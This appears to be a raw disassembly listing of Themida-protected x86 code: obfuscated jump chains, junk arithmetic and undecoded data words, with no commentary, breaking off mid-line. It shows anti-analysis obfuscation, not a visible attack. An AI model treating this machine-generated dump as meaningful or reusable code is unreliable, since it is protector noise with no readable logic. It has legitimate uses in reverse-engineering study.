--------------------------------------------------------------------------- db 81h dd 9D305CCDh, 3E5C16Dh, 5704EDC1h, 0EFFEFBBFh, 5FFD290Eh dd 815DEF01h, 2C7h, 243C8700h, 13011E9h db 0 ; --------------------------------------------------------------------------- loc_54EEE5: ; CODE XREF: Themida_:005523E4j push ebp mov ebp, 0A0F2C15h jmp loc_55A3E4 ; --------------------------------------------------------------------------- dd 0CA28F2B1h, 42C2E9h, 44E95000h, 8100002Eh, 0EF58EAEDh dd 0F5295B27h, 0E5BC581h, 0BE5614F3h, 695977C3h, 1C30C581h dd 0F7E92F28h, 4A0000EEh, 9FB9514Ah, 8169573Ch, 4535B6E1h dd 0ACC1814Fh, 0F759CA41h, 161DE9D9h, 0E9540000h, 9243h dd 0D2685059h, 0E900004Eh, 14D9h, 57187A05h, 88B95177h dd 812FC17Ch, 3766BBF1h, 6DE94952h db 0D9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EF63: ; CODE XREF: Themida_:00551C91j sub esp, 4 jmp loc_5608C7 ; --------------------------------------------------------------------------- db 68h dd 5F6Ah, 1832E9h, 0EC835000h, 24248904h, 4240481h, 58000000h dd 96BFE9h, 0F6B85000h, 0E94BC810h, 0F199h, 0BF243C89h dd 4516CA2h, 0EF81DFF7h, 0A54247F3h, 0E95FF929h, 2F6Eh dd 5DA968h, 242C8900h, 0D3CEE9h, 24048700h, 6268525Ch dd 5AEF5AC1h, 7AE9D629h, 56000066h, 0C681E689h, 4, 4EE81h dd 34870000h, 0C895C24h, 81595424h, 4ECh, 2D33E900h, 14870001h dd 0C6815C24h, 4, 0E9243487h, 492Eh ; --------------------------------------------------------------------------- loc_54F000: ; CODE XREF: Themida_:00550260j push eax push ebx mov ebx, esp jmp loc_556248 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0ECh dd 4, 0BF243C89h, 4, 525FFB01h, 11FC5E9h, 0E9545200h, 11BD2h ; --------------------------------------------------------------------------- loc_54F028: ; CODE XREF: Themida_:005618C1j push ebp mov ebp, ebx mov ecx, ebp pop ebp pop ebx xor [esp+4], ecx mov ecx, [esp] jmp loc_555023 ; --------------------------------------------------------------------------- db 0BFh dd 28D9089Ah, 0C5E9EF29h, 660000FDh, 0E4ECF81h, 66DFF766h dd 9602EF81h, 0E9F80166h, 20DDh ; --------------------------------------------------------------------------- loc_54F05C: ; CODE XREF: Themida_:00551C4Dj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ecx push esi push eax mov eax, 4 push edi mov edi, eax mov esi, edi pop edi pop eax jmp loc_55C7EF ; --------------------------------------------------------------------------- loc_54F087: ; CODE XREF: Themida_:0055EC63j add ecx, 4 xchg ecx, [esp] jmp loc_550327 ; --------------------------------------------------------------------------- loc_54F095: ; CODE XREF: Themida_:0054DECEj mov eax, [esp] add esp, 4 jmp loc_561106 ; --------------------------------------------------------------------------- db 81h dd 971461C5h, 7868597Fh, 89000029h, 5D51242Ch, 26F7E9h dd 0C1EB8100h, 0E94D9B10h, 0C2C4h ; --------------------------------------------------------------------------- loc_54F0C4: ; CODE XREF: Themida_:00555800j mov [esp], ecx jmp loc_55DAA7 ; --------------------------------------------------------------------------- dd 44C9EE81h, 0C6811630h, 62392A5Ah, 0EE81DE01h, 62392A5Ah dd 1B3D68h, 241C8900h, 0C4685055h, 58624047h, 2D02E8C1h dd 0EC6DACBEh, 5658C589h, 254A12BEh, 6EEC15Ch, 22B4E9h db 0 ; --------------------------------------------------------------------------- loc_54F109: ; CODE XREF: Themida_:0055DDEDj mov esi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] shr ecx, 2 jmp loc_557019 ; --------------------------------------------------------------------------- loc_54F123: ; CODE XREF: Themida_:00553C48j shl eax, 8 push ebp sub esp, 4 jmp loc_55BB16 ; --------------------------------------------------------------------------- dw 5559h dd 8B6417BDh, 41602D27h, 0E8014AA1h, 0A1416005h, 60E95D4Ah db 26h, 1, 0 ; --------------------------------------------------------------------------- loc_54F14B: ; CODE XREF: Themida_:00551C44j and ecx, esi mov esi, [esp] add esp, 4 sub ecx, 0B077C58Fh push ecx add dword ptr [esp], 46BC261Fh jmp loc_553FB5 ; --------------------------------------------------------------------------- dw 1489h dd 0BA24h, 0C2010000h, 34FF1A88h, 89575A24h, 4EC83E7h dd 0EA6DE9h db 0 ; --------------------------------------------------------------------------- loc_54F181: ; CODE XREF: Themida_:0055A8BDj mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 7B973619h not ecx xor ecx, 0F4D4E519h jmp loc_55616C ; --------------------------------------------------------------------------- aBOsN db 'ÅÏ',0Bh,'ÐOé{',0 db 0 ; --------------------------------------------------------------------------- loc_54F1AD: ; CODE XREF: Themida_:00561551j add ebx, 4 push ecx jmp loc_55AD7C ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4240481h, 5A000000h, 0E904EC83h, 704Bh, 585DE989h, 0FFA2E95Ah dd 0C2010000h, 8B5B5258h, 0C4832414h, 0C8B5D04h, 4C48124h dd 53000000h, 0D8EB951h, 57BB1EE7h, 81279D0Fh, 0B6340EEBh dd 18F38140h, 0E95D5138h, 0FA99h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 0AFB3241Ch, 4D51E9h db 0 ; --------------------------------------------------------------------------- loc_54F221: ; CODE XREF: Themida_:00556505j add eax, ebx sub eax, 2E577F1Ch pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_54F23D: ; CODE XREF: Themida_:0055E09Cj add edi, 1A6B37BAh neg edi shr edi, 4 jmp loc_5617DF ; --------------------------------------------------------------------------- db 5Ch, 41h, 81h dd 7A5012F1h, 59CA8928h, 5E9D329h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F25F: ; CODE XREF: Themida_:005548D3j sub edi, 6D4B6196h jmp loc_55BF09 ; --------------------------------------------------------------------------- loc_54F26A: ; CODE XREF: Themida_:0055419Aj mov [esp], ebx push 1C45616Ah mov ebx, [esp] push ebx mov ebx, esp jmp loc_552762 ; --------------------------------------------------------------------------- aIYsQ db 'ˆ*Yé)q',0 dd 4C48100h, 0E9000000h, 0C163h, 8704C483h, 685C2404h dd 7764h, 68240C89h, 4FDAh, 0B6241489h, 2EDAE9E6h, 1C890000h dd 0DD55E924h, 0C8B0000h, 4C48324h, 9794E9h, 4C78100h dd 81000000h, 4C7h, 243C8700h, 0FFEC46E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2D5: ; CODE XREF: Themida_:0055E8B7j push esi jmp loc_561AC5 ; --------------------------------------------------------------------------- loc_54F2DB: ; CODE XREF: Themida_:0054E3E8j shr ah, 7 jmp loc_55AAD8 ; --------------------------------------------------------------------------- aPZsC db 'P°‡é´c',0 dw 5300h dd 0D3271B68h, 0F3815B2Ah, 2AD3271Fh, 9768E9h, 243C8B00h dd 0E904C483h, 12A98h, 0E9240C8Bh, 8159h, 0AB535C05h, 4875E03h dd 48F5C24h, 24248B24h, 24048966h, 0FFEA9CE9h, 0EC83ACFFh dd 2C09E904h, 8F660000h, 0EA8BE902h, 0C483FFFFh, 0C6EB8104h dd 0E907BD5Dh, 0ED59h ; --------------------------------------------------------------------------- loc_54F348: ; CODE XREF: Themida_:0055C61Bj mov [esp], esp add dword ptr [esp], 4 jmp loc_55868A ; --------------------------------------------------------------------------- db 81h dd 54646CF5h, 8EDC12Fh, 79ADCD81h, 51453F45h, 4C46FFB9h dd 9CF1810Ch, 29864BD6h, 0C02EE9CDh, 0C4830000h, 59C83004h dd 49E68h, 24148900h, 3BE9E289h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F38F: ; CODE XREF: Themida_:005518E3j mov cx, [esp] add esp, 2 jmp loc_550272 ; --------------------------------------------------------------------------- aQsJ db 'QéÕj',0 align 4 dd 88F08850h, 0C18058C1h, 0E9CE8801h, 0EE74h ; --------------------------------------------------------------------------- loc_54F3B4: ; CODE XREF: Themida_:005520B9j mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_5604B3 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 31240C33h, 72E9240Ch, 100009Eh, 0D42E9D0h, 295D0001h dd 3BE95EF2h, 81000013h, 1B4F46F5h, 0C0ED8175h, 0C132CF08h dd 0ED8104EDh, 57DB2Eh, 835DE801h, 48704E8h, 24248B24h dd 24048F54h, 0C341E9h, 48B6600h, 4EC8124h, 89000000h dd 8868243Ch, 89000025h, 0E9532424h, 12834h, 3BAFC281h dd 0FA296662h, 3BAFEA81h, 315F6662h, 0F8015AD7h, 57243C8Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 6CE95C24h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F457: ; CODE XREF: Themida_:0055E235j push 39A8008Ah pop edx jmp loc_5511C7 ; --------------------------------------------------------------------------- loc_54F462: ; CODE XREF: Themida_:00557E27j sub ebx, 12C93784h add ebx, 495531A9h jmp loc_55B1B9 ; --------------------------------------------------------------------------- db 0C1h dd 0E98103E9h, 0D6B02A08h, 0E959CA31h, 911Bh, 8B5EF331h dd 0C4812414h, 4, 62E95452h, 890000BCh, 70BF243Ch, 31CDCDC5h dd 0EC815FFAh, 4, 56240489h, 0F089D689h, 43E9E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4B6: ; CODE XREF: Themida_:0055FDD7j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_560301 ; --------------------------------------------------------------------------- loc_54F4C9: ; CODE XREF: Themida_:0054E049j mov ebp, 4 push edx mov edx, 383D030Ah neg edx sub edx, 0D302765h shr edx, 7 add edx, 716D7BA8h sub edx, 3DB5539h push ebx mov ebx, 0DB972C9h push ecx jmp loc_5596E5 ; --------------------------------------------------------------------------- db 5Dh dd 4C581h, 0BA520000h, 4, 29E9D501h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F50B: ; CODE XREF: Themida_:005544CBj mov [esp], eax mov eax, esp push 37F0h mov [esp], ecx mov ecx, 4 sub eax, 3FC76240h jmp loc_55F2D4 ; --------------------------------------------------------------------------- loc_54F527: ; CODE XREF: Themida_:0055410Cj pop esp sub esi, 0DC1CDB67h xor [esp+4], esi mov esi, [esp] add esp, 4 pop eax jmp loc_556E96 ; --------------------------------------------------------------------------- db 8, 0FAh, 0E9h dd 0ED62h, 4BFh, 0FBEE8100h, 105585Bh, 0FBC681FEh, 8B05585Bh dd 0C483243Ch, 24343304h, 117A7E9h, 0E2895200h, 4C281h dd 38E90000h, 6600004Dh, 5224048Bh, 55E08950h, 8B1D55BDh dd 0F6ED8102h, 0F74FE311h, 0FE51E9D5h, 43BAFFFFh, 2D7A8575h dd 10630AFEh, 0FE05D001h, 5A10630Ah, 4EC815Bh, 89000000h dd 0B951243Ch, 4B0B2E07h, 70076852h, 0FEE976E3h, 830000D9h dd 79E904C4h db 10h, 1, 0 ; --------------------------------------------------------------------------- loc_54F5C7: ; CODE XREF: Themida_:0055B16Aj push esp jmp loc_557345 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 241C8700h, 241C335Ch, 33241C31h, 248B241Ch dd 242CD324h, 0E7D3E99Ch, 8F5CFFFFh, 0CAE92404h, 8FFFFFE7h dd 895C2404h, 86E92414h, 810000C6h, 42404h, 15E90000h dd 66000044h, 66691668h, 52240489h, 0E8885053h, 0E958C788h dd 730Ah, 24048759h, 24048F5Ch, 6824248Bh, 6C5Ah, 0BE243489h dd 2D8841BCh, 38D2E9h db 0 ; --------------------------------------------------------------------------- loc_54F645: ; CODE XREF: Themida_:005532F2j xchg ecx, [esp] mov esp, [esp] pop esi jmp loc_559520 ; --------------------------------------------------------------------------- loc_54F651: ; CODE XREF: Themida_:00561E83j mov ebp, [esp] jmp loc_554D3E ; --------------------------------------------------------------------------- db 89h, 0C6h, 58h dd 431DB850h, 50E97603h, 81000096h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 0BF572434h, 0B984283h, 0E3CDE9h db 0 ; --------------------------------------------------------------------------- loc_54F685: ; CODE XREF: Themida_:0055B96Dj mov esi, ecx pop ecx xor esi, 20AD1A0Fh sub ebp, esi pop esi sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_54FCF4 ; --------------------------------------------------------------------------- loc_54F6A3: ; CODE XREF: Themida_:00556AFEj add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] and eax, esi push dword ptr [esp] pop esi jmp loc_56106E ; --------------------------------------------------------------------------- db 0BAh dd 4, 4244481h, 16553696h, 4245401h, 4246C81h, 16553696h dd 241C8B5Ah, 0FFEDC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F6E9: ; CODE XREF: Themida_:0055AD77j mov esi, [esp] add esp, 4 push edi mov edi, 76AE5104h add edi, 1 jmp loc_562463 ; --------------------------------------------------------------------------- dd 323A062Dh, 242C8B44h, 4C481h, 0BB530000h, 2, 0E7E9D801h dd 81FFFFF2h, 4C3h, 3010E900h, 248B0001h, 5E545624h, 4BA52h dd 0D6010000h, 0C1BD555Ah, 8159C46Dh, 796278C5h, 4EC815Ah dd 89000000h, 1CF7242Ch, 5D08E924h, 0E9570000h, 9794h dd 815AD509h, 7BE536F5h, 0E9EA0177h, 4A72h, 85E9555Bh db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_54F76F: ; CODE XREF: Themida_:0055E6B3j sub dword ptr [esp], 7F7779FFh jmp loc_55465F ; --------------------------------------------------------------------------- loc_54F77B: ; CODE XREF: Themida_:0055EE1Cj mov edx, 6A977349h shr edx, 6 xor edx, 1AA5DC9h jmp loc_55C213 ; --------------------------------------------------------------------------- loc_54F78E: ; CODE XREF: Themida_:0055AD97j neg edi xchg edi, esi or esi, 2F50112Fh inc esi shl esi, 4 push 1238h mov [esp], esi not dword ptr [esp] jmp loc_55968D ; --------------------------------------------------------------------------- dd 0B97CF181h, 0CF01006Ah, 83240C8Bh, 0E95704C4h, 0F6BCh dd 240C8B66h, 0E9E08950h, 4C84h, 83243C8Bh, 0EE8104C4h dd 70864442h, 8124048Bh, 4C4h, 56096800h, 2C890000h, 84FEE924h dd 575B0000h, 4B7C84BFh, 1769E92Bh, 0C4830000h, 0EC815104h dd 4, 0E9242489h, 0EF5Dh ; --------------------------------------------------------------------------- loc_54F80C: ; CODE XREF: Themida_:0054E164j mov ecx, 400103BFh jmp loc_55AE0E ; --------------------------------------------------------------------------- dw 0C89h dd 2474FF24h, 0C9E95904h, 8300002Ch, 0C38104C4h, 4D54072Ch dd 3DB668h, 242C8900h, 0AF0ED0BDh, 0FF00E931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F83E: ; CODE XREF: Themida_:0054FBE3j and ebx, 205525C5h jmp loc_558A6C ; --------------------------------------------------------------------------- db 0BEh, 0A1h, 61h dd 0F7015178h, 0E9EF015Eh, 0FFFFF15Dh, 0E958C329h, 1EEBh dd 54240C89h, 52240C8Bh, 0C281E289h, 4, 8704C283h, 575C2414h dd 4BFh, 5FF90100h, 6804C183h, 627Ch, 0FF240C89h, 0FF042474h dd 0C8B2434h, 0E0895024h, 405h, 40500h, 24E90000h, 890000B1h dd 0E589242Ch, 0AFC9E951h, 0EB830000h, 241C8704h, 2414895Ch dd 0AA40FABAh, 3E2C17Eh, 0F305E9h, 47E95C00h, 5D0000CEh dd 52C0B70Fh, 0E957E289h, 911Dh, 24048F5Bh, 0F9F7665Ch dd 444E6866h, 24148966h, 0E99C5066h, 0E308h, 6804C483h dd 5469h, 0E9242C89h, 0FFFFF667h, 0E9C39D61h, 0FFFFE4B9h dd 8F6658h, 114B7E9h, 42A0BB00h, 0DA293EB3h, 51241C8Bh dd 0C181E189h, 4, 8704C183h, 0FF5C240Ch, 53592434h, 0BF57E389h dd 4, 835FFB01h, 1C8704C3h, 0C9095C24h, 39C4840Fh, 0F2680000h dd 6800002Ch, 78FBh, 4EC81h, 0D2680000h, 89000041h, 52E92424h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F96B: ; CODE XREF: Themida_:005561F8j mov eax, 719A6FF6h add eax, 94B4EC7Dh mov edi, eax pop eax sub edi, 0B66E4Dh or edi, 28537F1Ah xor edi, 4ED02C33h xor edi, 630BD309h add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 644Ah jmp loc_5527EF ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 2404D366h, 0D1D3E99Ch, 54500000h, 40558h dd 22E90000h, 0BD00002Dh, 4, 875DEE01h, 248B2434h, 0EADDE924h dd 6866FFFFh, 89662435h, 50662414h, 0E3DFE99Ch, 248BFFFFh dd 0FEA8E924h, 74FF0000h, 99E90424h, 0FE00011Eh, 0B55152CCh dd 0C772E984h, 0C3010000h, 5E08950h, 4, 5F55E9h db 0 ; --------------------------------------------------------------------------- loc_54FA11: ; CODE XREF: Themida_:005617E5j push edx push eax mov eax, 31A77BA6h jmp loc_55245A ; --------------------------------------------------------------------------- db 81h, 0C6h, 0FEh dd 29653C09h, 0FEEE81CEh, 8B653C09h, 0EFE9240Ch, 1000032h dd 2434FFF5h, 0E789575Eh, 4C781h, 0C7810000h, 4, 0A81FE9h dd 8BDA8900h, 0C483241Ch, 5AD70104h, 0E745E9h, 0F7814700h dd 5EFAC97h, 100DC281h, 0A0E93A40h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FA6F: ; CODE XREF: Themida_:00560CD6j push dword ptr [esp] pop ecx add esp, 4 jmp loc_5561FD ; --------------------------------------------------------------------------- dw 0BA52h dd 4DCE39FCh, 243E281h, 0EA810C66h, 4BA313E1h, 661FB951h dd 0C9816492h, 0FB171CFh, 94C5E9h, 4DEDBB00h, 9E93F52h dd 8F000069h, 248B2404h, 5C9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FAB6: ; CODE XREF: Themida_:005533D3j push edi mov edi, 4567301Ah sub eax, edi pop edi jmp loc_551A84 ; --------------------------------------------------------------------------- dd 24148966h, 0F02862B6h, 24148B66h, 2C481h, 29E90000h dd 8700010Ah, 248B2434h, 2424D324h, 0FFE2DCE9h, 6D300DFFh dd 0D0F71299h, 0A66D0540h, 0C1299F4Ch, 59CF2958h, 8BF8315Dh dd 0C481243Ch, 4, 8B66C331h, 24E92414h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FB13: ; CODE XREF: Themida_:00557529j sub ecx, 1ADF3764h sub ecx, edi add ecx, 1ADF3764h pop edi xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_55C555 ; --------------------------------------------------------------------------- dd 5783C281h, 0E2C1685Fh, 55525302h, 0FF177DBDh, 6164BA28h dd 0EA2967D5h, 5B9515Dh, 515DE935h, 59241CF7h, 65C98149h dd 0E956107Ch, 2DEFh, 5502EBC1h, 88259CBDh, 0F9ED813Bh dd 562EB81Fh, 689ABD55h, 5CBE7A8Dh, 3139DE11h, 0CE815DEEh dd 75822F80h, 6580EE81h, 0EE81202Ch, 2280DF00h, 0E95EF501h dd 9C94h ; --------------------------------------------------------------------------- loc_54FB98: ; CODE XREF: Themida_:00558E61j add ecx, 0E43DB1E5h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, ecx jmp loc_55DEDE ; --------------------------------------------------------------------------- db 1 aXsso db 'ÁXSéo',7,0 align 4 dd 0E9243C31h, 417Fh ; --------------------------------------------------------------------------- loc_54FBCC: ; CODE XREF: Themida_:00550231j pop ecx sub ebx, 79DC08DEh push 3D6Dh mov [esp], esi mov esi, 10CF7BE8h and ebx, esi pop esi jmp loc_54F83E ; --------------------------------------------------------------------------- dd 4BC5814Dh, 29410A5Ah, 4CE95DEBh, 810000F9h, 0EF4281F2h dd 569E91Ch, 15B0000h, 23E951D0h db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FC0B: ; CODE XREF: Themida_:0055C693j add eax, 294A4D8Ch sub eax, esi sub eax, 294A4D8Ch jmp loc_54FC3A ; --------------------------------------------------------------------------- dd 4F073558h, 685605FDh, 3D65h, 0BD242C89h, 79C42388h dd 89EB8953h, 71E1E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FC3A: ; CODE XREF: Themida_:0054FC17j push dword ptr [esp] jmp loc_5552FD ; --------------------------------------------------------------------------- dw 0C183h dd 240C8704h, 11402E9h db 0 ; --------------------------------------------------------------------------- loc_54FC4D: ; CODE XREF: Themida_:00557DB3j sub ecx, 2 xchg ecx, [esp] mov esp, [esp] mov [esp], dx push eax jmp loc_556407 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 63626800h, 1C890000h, 0BF575524h, 46050CB7h, 8302EFC1h dd 48904ECh, 0E2BB5324h, 89613C19h, 22FEE9D8h, 0D0F70001h dd 0AC3F8B35h, 58C1893Dh, 0E959C829h, 0C0Eh ; --------------------------------------------------------------------------- loc_54FCA0: ; CODE XREF: Themida_:0055A47Fj inc edi neg edi add edi, 2DFA8BDCh add ecx, edi mov edi, [esp] add esp, 4 jmp loc_55105E ; --------------------------------------------------------------------------- db 57h, 0BFh, 77h dd 0E9049E13h, 0FFFFEFE0h ; --------------------------------------------------------------------------- loc_54FCC4: ; CODE XREF: Themida_:00556A08j sub edi, 84B6899h add edi, ebx add edi, 84B6899h mov ebx, [esp] add esp, 4 push eax mov eax, 2 add edi, eax jmp loc_55C9CE ; --------------------------------------------------------------------------- aPsdj db 'PéDJ',0 dw 0FF00h dd 0E9042474h, 85A6h ; --------------------------------------------------------------------------- loc_54FCF4: ; CODE XREF: Themida_:0054F69Ej pop ebp sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55AB59 ; --------------------------------------------------------------------------- db 81h, 0EBh, 2Eh dd 0F74B3727h, 0E0E951DBh, 0AD000003h, 10011E9h, 2434FF00h dd 8324048Bh, 88E904ECh, 5C00006Ah, 0E956D800h, 0FFFFF4C8h dd 8B2434FFh, 0C4812404h, 4, 0FFECBDE9h, 4E3C0FFh, 8046E380h dd 0D82897F3h, 83241C8Bh, 9F0404C4h, 0D2E9D828h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FD6B: ; CODE XREF: Themida_:00551CCDj pop dword ptr [esp] pop esp mov [esp], ecx push eax mov eax, 6EA03E15h shr eax, 6 sub eax, 5B1E2657h sub esp, 4 mov [esp], esi push ebx mov ebx, 8CD80392h jmp loc_55F6BD ; --------------------------------------------------------------------------- dd 685Dh, 0F9E90000h, 0AC00011Fh, 8AECE9h, 0E6895600h dd 4C681h, 0EE810000h, 4, 5C243487h, 83241C89h, 148904ECh dd 35436824h, 83E96351h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDCB: ; CODE XREF: Themida_:005527FFj mov ebx, eax pop eax push 72B0h mov [esp], edx jmp loc_558603 ; --------------------------------------------------------------------------- loc_54FDDB: ; CODE XREF: Themida_:005575D2j pop esi add esp, 4 sub eax, ecx push dword ptr [esp] pop ecx push edi jmp loc_55A48B ; --------------------------------------------------------------------------- db 68h dd 153h, 0B4D9E9h db 0 ; --------------------------------------------------------------------------- loc_54FDF5: ; CODE XREF: Themida_:00561FF1j or edx, 6A7D70F0h sub edx, 0FFFFFFFFh sub edx, 0FB7F7CF6h add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] pop esp push edx push esp jmp loc_5585A7 ; --------------------------------------------------------------------------- dw 5559h dd 89505D5Eh, 58C589F0h, 0CB7CE95Eh, 0F4680000h, 89000057h dd 0D8892404h, 0E958C289h, 314h, 0B20C5CB9h, 59CA211Ah dd 0DAF74A4Ah, 11658E9h db 0 ; --------------------------------------------------------------------------- loc_54FE4D: ; CODE XREF: Themida_:00551549j push 46BC261Fh pop ecx sub esi, ecx jmp loc_551DF3 ; --------------------------------------------------------------------------- dw 0EE89h dd 2DFDE9h, 0ABB15100h, 0C8282304h, 0C8B232Ch, 4C48124h dd 2C000000h, 612CBFh, 0E96104F8h, 10A3h, 83241C89h, 22E904ECh dd 810000F1h, 207440C3h, 2EB8135h, 0E916574Fh, 409Fh, 0FFDF24E9h dd 2474FFFFh, 2434FF04h, 582434FFh, 10749E9h db 0 ; --------------------------------------------------------------------------- loc_54FEB1: ; CODE XREF: Themida_:00551978j pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 xor ebx, eax movzx ax, byte ptr [eax] jmp loc_552997 ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 106A7E9h, 241C8B00h, 57E28952h, 4BFh, 5FFA0100h dd 102C2E9h, 1B256800h, 348B05DDh, 4C48324h, 38EAE9h, 81EBD100h dd 0B31742E3h, 5DE3817Ah, 0E92D6D1Dh, 10DC3h, 0E924248Bh dd 1263Bh, 8124348Bh, 4C4h, 5AD50100h, 5F0C68h, 4EDBE900h dd 0DA290000h, 6EB1E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FF3E: ; CODE XREF: Themida_:005531D8j xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_551046 ; --------------------------------------------------------------------------- dd 8B66D328h, 15E92414h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FF57: ; CODE XREF: Themida_:0055EBBFj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], cx movzx cx, al jmp loc_555311 ; --------------------------------------------------------------------------- dw 5158h dd 8B6518B9h, 1CF18108h, 1088B65h, 240C8BC8h, 4C481h, 70680000h dd 89000009h, 0E9542404h, 1F99h, 0EEC030B6h, 0E224E903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF9E: ; CODE XREF: Themida_:0054EBCBj mov ebx, 4F9205BDh shr ebx, 6 add ebx, 0FEC1B7EEh add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_55BFBF ; --------------------------------------------------------------------------- aHub_0 db ']hîb',0 dw 8900h dd 6368241Ch, 5B2FA369h, 9419E9h, 81D6F700h, 372284EEh dd 8BF301C9h, 0C4812434h, 4, 851EB81h, 22E972C1h, 5800006Ah dd 34FFF001h, 5D9BE924h, 0D7290000h, 6F9E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FFFE: ; CODE XREF: Themida_:00550A77j mov ebp, edx pop edx push ecx mov ecx, ebp mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 pop ebp push 1191h mov [esp], esi sub dword ptr [esp], 4386018Fh pop eax add eax, 4386018Fh pop esi push edx mov edx, esp push esi jmp loc_55EE9F ; --------------------------------------------------------------------------- dd 8F04C483h, 5B5C2404h, 0FFEACFE9h, 0D00159FFh, 0F0BE565Ah dd 816F4927h, 13E1CEEh, 8E6C124h, 0EEC1D6F7h, 76C68103h dd 0E931373Fh, 2ABh, 4EC81h, 3C890000h, 81E78924h, 4C7h dd 4C78300h, 5C243C87h, 26AEE953h, 34870000h, 0E9525C24h dd 0FFFFFF0Ch, 367EC381h, 0BD551318h, 5A485ED4h, 0E95DEB21h dd 0FFFFED7Fh ; --------------------------------------------------------------------------- loc_55009C: ; CODE XREF: Themida_:0055D605j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_5522A4 ; --------------------------------------------------------------------------- loc_5500B9: ; CODE XREF: Themida_:005565C1j push dword ptr [edi+eax*4] push ebx mov ebx, esp add ebx, 4 jmp loc_55861C ; --------------------------------------------------------------------------- loc_5500CA: ; CODE XREF: Themida_:00559BC6j mov [esp], eax push esp pop eax push ebx push esp pop ebx push esi push ebx mov ebx, 4 mov esi, ebx pop ebx add ebx, esi jmp loc_55615B ; --------------------------------------------------------------------------- loc_5500E3: ; CODE XREF: Themida_:0056070Cj mov esi, ecx pop ecx pop ebp and eax, esi push dword ptr [esp] mov esi, [esp] jmp loc_5532E1 ; --------------------------------------------------------------------------- dd 0C8EB80h, 9AB151C3h, 70E9D1F6h, 0B9000016h, 19AE23BFh dd 840FE981h, 0CB2985C6h, 0E3814B59h, 5E220356h, 8904EC83h dd 0EAB82404h, 5700ED21h, 414A1FBFh, 5E7C10Fh, 0FFDDF6E9h dd 15E956FFh db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550137: ; CODE XREF: Themida_:0055A605j push ebp push 3CB87A99h pop ebp jmp loc_551F0C ; --------------------------------------------------------------------------- aUs db 'UéÑ^',0 db 0 ; --------------------------------------------------------------------------- loc_550149: ; CODE XREF: Themida_:0055EA35j inc edx push esi jmp loc_55D8A5 ; --------------------------------------------------------------------------- dd 0FFD7295Bh, 535A2434h, 0C381E389h, 4, 4C381h, 0D1E90000h dd 29000076h, 596AE9D6h, 34330000h, 24343124h, 8B243433h dd 89532424h, 22E268E3h, 2C890000h, 4BD24h, 37E90000h dd 1000073h, 0E5C181D1h, 5A4B7E73h, 0E9240C87h, 0C3CCh dd 233AF781h, 1E975CDh, 0BA000045h, 4, 5C1CBD55h, 0ED8104EEh dd 13AF7A5Ch, 0D105EDC1h, 0B1C581E5h, 0E9FD8375h, 0E016h ; --------------------------------------------------------------------------- loc_5501D0: ; CODE XREF: Themida_:00562731j sub ecx, 39315FA9h sub ecx, 9B6960A3h and esi, ecx mov ecx, [esp] add esp, 4 jmp loc_561A9C ; --------------------------------------------------------------------------- dd 55241489h, 176DCBBDh, 5352455Ah, 51367E68h, 